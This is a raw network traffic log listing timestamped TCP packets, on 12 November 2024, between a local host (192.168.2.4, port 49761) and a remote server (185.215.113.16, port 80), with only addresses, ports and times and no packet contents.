Nov 12, 2024 15:41:26.978929996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.978935957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.978949070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.978957891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.978966951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.978991032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.979016066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.979077101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.979208946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.979221106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.979244947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.979260921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.995193005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.995225906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.995326996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062062025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062094927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062108994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062124968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062134981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062146902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062151909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062151909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062187910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062192917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062231064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062254906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062264919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062304974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062304974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062315941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062453032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062508106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062520027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062530041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062541008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062547922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062560081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062587023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062589884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062601089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062611103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062627077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062639952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062652111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062680960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062691927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062712908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062724113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062725067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062763929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062772989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062781096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062808990 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062838078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062849045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062858105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062881947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062896013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062926054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062936068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.062961102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.062984943 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063045025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063057899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063067913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063105106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063235998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063247919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063282013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063292027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063304901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063319921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063343048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063352108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063360929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063384056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063385963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063395977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063406944 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063424110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063436031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063436031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063461065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063486099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063555956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063568115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063576937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063595057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063599110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063606977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063617945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063618898 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063642025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063668013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063680887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063690901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063702106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063711882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.063736916 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063751936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.063965082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064068079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064078093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064091921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064091921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.064106941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.064110994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064122915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064132929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064133883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.064145088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.064161062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.064183950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.064927101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065025091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065041065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065054893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065064907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065076113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065082073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065087080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065097094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065109015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065121889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065135956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065144062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065146923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065156937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065172911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065175056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065186977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065195084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065197945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065207958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065216064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065218925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065228939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065241098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065244913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065258026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065272093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065272093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065279007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065282106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.065304041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065310001 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.065330982 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092364073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092380047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092389107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092458010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092617035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092632055 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092642069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092653036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092669964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092679977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092689991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092700005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092701912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092713118 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092717886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092727900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092730999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092737913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092747927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092757940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092765093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092770100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092778921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092808962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092819929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092819929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092819929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092822075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092833042 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092844963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092854023 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092874050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092894077 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092904091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092914104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092922926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092932940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092945099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092950106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092953920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092966080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.092976093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.092999935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093004942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093130112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093153954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093168974 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093204021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093245029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093255997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093266010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093276978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093291998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093302965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093312025 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093312979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093322992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093353033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093364000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093374014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093383074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093409061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093419075 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093456984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093468904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093477964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093488932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093498945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093502045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093508959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093518972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093524933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093532085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093540907 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093569040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093586922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093597889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093609095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093632936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093641996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093643904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093652010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093653917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093664885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093674898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093676090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093684912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093694925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093703985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093740940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093890905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093903065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093911886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093921900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093928099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093939066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093945026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093950987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093955040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093961954 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093974113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.093976974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.093987942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094000101 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094014883 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094373941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094386101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094394922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094407082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094417095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094418049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094427109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094436884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094443083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094449043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094455957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094464064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094475031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094476938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094485998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094501972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094528913 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094712019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094722986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094733000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094743013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094752073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094757080 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094758987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094770908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094794035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094815016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094825983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094835043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094854116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094855070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094863892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094876051 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094886065 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094887972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.094908953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.094918013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095386028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095398903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095408916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095421076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095429897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095438004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095441103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095452070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095458031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095462084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095472097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095479012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095483065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095493078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095503092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095504045 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095510960 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095521927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095534086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095544100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095555067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095565081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095573902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095573902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095576048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095581055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095614910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095632076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095643044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095652103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095662117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095670938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095671892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095683098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095694065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095700026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095705032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.095726967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.095745087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096309900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096322060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096330881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096343040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096353054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096360922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096362114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096384048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096394062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:27.096395016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:27.096400976 CET	49761	80	192.168.2.4	185.215.113.16
